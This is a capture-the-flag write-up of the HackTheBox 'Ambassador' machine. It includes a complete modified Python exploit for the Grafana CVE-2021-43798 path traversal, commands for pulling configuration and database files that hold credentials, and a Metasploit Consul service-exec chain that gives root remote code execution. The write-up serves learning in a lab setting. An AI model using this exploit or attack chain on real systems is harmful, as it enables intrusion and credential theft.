Post

HackTheBox - Ambassador

Machine logo

Configuration

If you’re using your own machine like me, you have to access HTB network via OpenVPN:

1
2
┌──(kali㉿workstation)-[~]
└─$ sudo openvpn lab_access_file.ovpn

You have to be accurate here, you must understand that your machine is becoming accessable for other users in the VPN network. So you have to protect yourself by setting up a strong password and turning off unused services on your machine. Make sure you have a strong system and others can’t harm you.

It is very useful to append /etc/hosts/ with ip address of the machine. It is useful to get subdomains and to not memorize the address every time.

1
2
┌──(kali㉿workstation)-[~]
└─$ echo "10.10.11.183\tambassador.htb" | sudo tee -a /etc/hosts

Reconnaissance

Port scan

As always, we start with port scanning. I’ve updated my nmap bash script with a new feature - nmap-bootstrap-xsl. It is a tool to visualize your nmap scans. You have to insert a --stylesheet argument in your scan to use it. Also, I’ve added a PN toggle to my script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat fnmap.sh
#!/bin/bash

if [[ $# != 1 ]]
then
    echo -e "\e[0;31m[!]\e[0m Not specified a host or incorrect use."
    exit 1
fi

echo "Treat all hosts as online -- skip host discovery (Y/N)?"
read answer
PN=""
if [ "$answer" != "${answer#[Yy]}" ] ; then
    PN="-Pn";
fi

ports=$(nmap -p- $PN --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo "Ports found:
$ports
"
filename="$1_scan" 
sudo nmap -p$ports -T4 $PN -A -oA $filename --stylesheet https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl $1

You can find the script in my GitHub repository. I’m going to update this repo by updating old scripts and addind new scripts in the future. Now, let’s do the scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
$ fnmap ambassador.htb
...
PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp    open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp  open   ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 03 Nov 2022 11:42:04 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 03 Nov 2022 11:41:26 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 03 Nov 2022 11:41:33 GMT
|_    Content-Length: 0
3306/tcp  open   mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: ConnectWithDatabase, FoundRows, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, LongColumnFlag, IgnoreSigpipes, ODBCClient, LongPassword, InteractiveClient, SupportsLoadDataLocal, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: \x1C0x%-\x1CW\x16?\x1F8:LwDF\x17D-\x07
|_  Auth Plugin Name: caching_sha2_password
...

Here we can see SSH server on port 22, the HTTP server on port 80, another HTTP web application on port 3000 and a MySQL database server on port 3306. Let’s start our exploring with standard web application on port 80.

Port 80 - Blog website

Port 80

We can see a static blog website here. There is one thing useful for us, we can note about developer account name showed in blog post. It will help us later.

Port 3000 - Grafana web application

Port 3000

Here we can see a Grafana web application, but we don’t have the credentials, and standard admin/admin is not working.

user.txt

CVE-2021-43798

But if we click on Forgot password button, the page opened will show us a version of that application, which is 8.2.0.

Grafana version disclosure

This version is vulnerable to CVE-2021-43798. This vulnerability is a Path Traversial, which can be exploited by following the url /public/plugins/<PLUGIN_NAME>/<PATH> on the Grafana web application.

The vulnerability has a well-known exploit available on Exploit-DB. We can copy it in our working directory with searchsploit command. It is pre-installed in Kali Linux.

1
searchsploit -m 50581

This is a Python script and it has a random library imported for searching which plugin is available on the server. After first run I’ve realised that it runs random plugin every time and throws false-positive results on single file, like /etc/passwd. Also, that version could not download binary files, so I’ve decided to modify it to download raw files.

To do that, we have to modify plugin variable to any available plugin on the server, I’ve choosed mysql. Also, requests library provides a content attribute in every request, which contains raw data in bytes, we can write it to a file directly to make it possible to download binary files. I’ve removed the infinite loop and added a new parameter -F to select a file. My version of the exploit is below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import argparse
import sys

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
    plugin = "mysql"
    url = args.host + '/public/plugins/' + plugin + '/../../../../../../../../../../../../..' + args.file

    try:
        req = requests.Request(method='GET', url=url, headers=headers)
        prep = req.prepare()
        prep.url = url
        r = s.send(prep, verify=False, timeout=3)

        if 'Plugin file not found' in r.text:
            print('[-] File not found\n')
        else:
            file = args.file.split("/")[-1]
            if r.status_code == 200:
                with open(file, "wb") as f:
                    print(f"Writing to {file}")
                    f.write(r.content)
            else:
                print("Error")
                print(r.status_code)
                print(r.text)
    except requests.exceptions.ConnectTimeout:
        print('[-] Request timed out. Please check your host settings.\n')
        return
    except Exception:
        pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    parser.add_argument('-F', dest='file', required=True, help='File to read')
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

Let’s test our exploit with standard /etc/passwd.

1
python 50581.py -H 'http://ambassador.htb:3000' -F '/etc/passwd'

Grafana Path Traversial

And it is working, as we noted, the developer user account is avalable here.

Grafana config file

Our next step is to search something interesting available by low-privileged user running the web server. We can search for some configuration files, and the first thing we should get is a config file of the Grafana server. We can find its location in the documentation.

1
python 50581.py -H 'http://ambassador.htb:3000' -F '/etc/grafana/grafana.ini'

Our scope here is the database used by the application.

Grafana database

From config file we can note it is SQLite3 database. We have to search for its location and download it.

1
python 50581.py -H 'http://ambassador.htb:3000' -F '/var/lib/grafana/grafana.db'

SQLite3 database

The database file hasn’t a password, so we can access it directly. The tool here is sqlite3. We can list tables of the database with .tables command.

1
2
sqlite3 grafana.db
.tables

Grafana database tables

There are a lot of tables available. The interesting one is data_source. We have to dump all table entries and see what does it contain.

SELECT * FROM data_source;

Grafana database data_source table

There are credentials for the MySQL database.

MySQL database

We noted that MySQL database is available on port 3306. We can access it with mysql tool. In MySQL we can list databases with SHOW command.

1
2
mysql -h ambassador.htb --user grafana --password
SHOW databases;

MySQL databases

The whackywidget is something new for us. We can access it with USE command and list its tables with SHOW command.

USE whackywidget;
SHOW tables;

MySQL whackywidget tables

There is a single users table. We can dump it with SELECT command.

SELECT * FROM users;

MySQL whackywidget users

Here we can see credentials for developer user. The password is encoded with Base64, but it is not a problem for us, we just decode it with base64 tool.

1
echo '<Base64 encoded password>' | base64 -d

Now we can access the developer user through SSH.

1
2
ssh developer@ambassador.htb
cat user.txt

user.txt

root.txt

Preparation

I like to use my aliases on Linux machines, like make the ls command show full information in directory, like hidden files without typing the parameters everytime.

1
alias ll='ls -lsaht'

Git repository

In developers home directory we can find a .gitconfig file, we can note that git is installed here. File contains the information about git repository available in /opt/ directory.

.gitconfig file

It is a Django web application, but the useful thing for us is in the repository commit history. We can search for them by git log command.

1
git log

git log

We can read every commit with git show <commit> command.

1
git show 33a53ef9a207976d5ceceddc41a199558843bf3c

git token disclosure

In the first commit we can find an interesting thing. The token for Consul tool.

Consul tool

Consul is a multi-networking tool which provides solutions for operating microservies and cloud infrastructure.

When we have a token for consul, it is possible to gain RCE on the target machine. It is possible because Consul services API provides endpoints for register new services. New services are able to execute commands on the target machine.

Let’s see which privileges does consul have. The ps command is useful here.

1
ps aux | grep consul

Consul privileges

It is running by the root user, but there is another thing which we need to gain RCE on the machine. There must be ACL attribute enabled. We can check if the token is valid there and the configuration by consul info command.

1
consul info --token <consul token>

Consul configuration

The token is valid, and the ACLs are enabled here, so now have all the things to get root on thd machine.

RCE in consul with Metasploit

The Metasplot framework has an exploit for this exploitation path. Consul is running on port 8500 by default, but it is only available from the target machine, so we have to set port tunneling. ssh tool contains port forwarding functions. We set tunnel from our port 4000 to targets localhost port 8500.

1
ssh -L 4000:localhost:8500 developer@ambassador.htb

Next, we have to run Metasploit, select the exploit and provide the options. The exploit is targetting port 4000 on our local machine, which is the tunnel to the target.

1
2
3
4
5
6
7
msfconsole -q
use multi/misc/consul_service_exec
set rport 4000
set rhosts 127.0.0.1
set acl_token <consul token>
set lhost tun0
exploit

Metasploit exploitation

And we got the meterpreter shell, jump in basic shell with shell command and get the flag!

root.txt

Conclusion

The machine was not so hard like other machines to find the weaknesses and vulnerabilities. But there were a lot of different things to search and exploit. It was cool to learn some new technologies like Consul. Thanks for the author for nice machine.

Thank you for reading, I hope it was useful for you ❤️

This post is licensed under CC BY 4.0 by the author.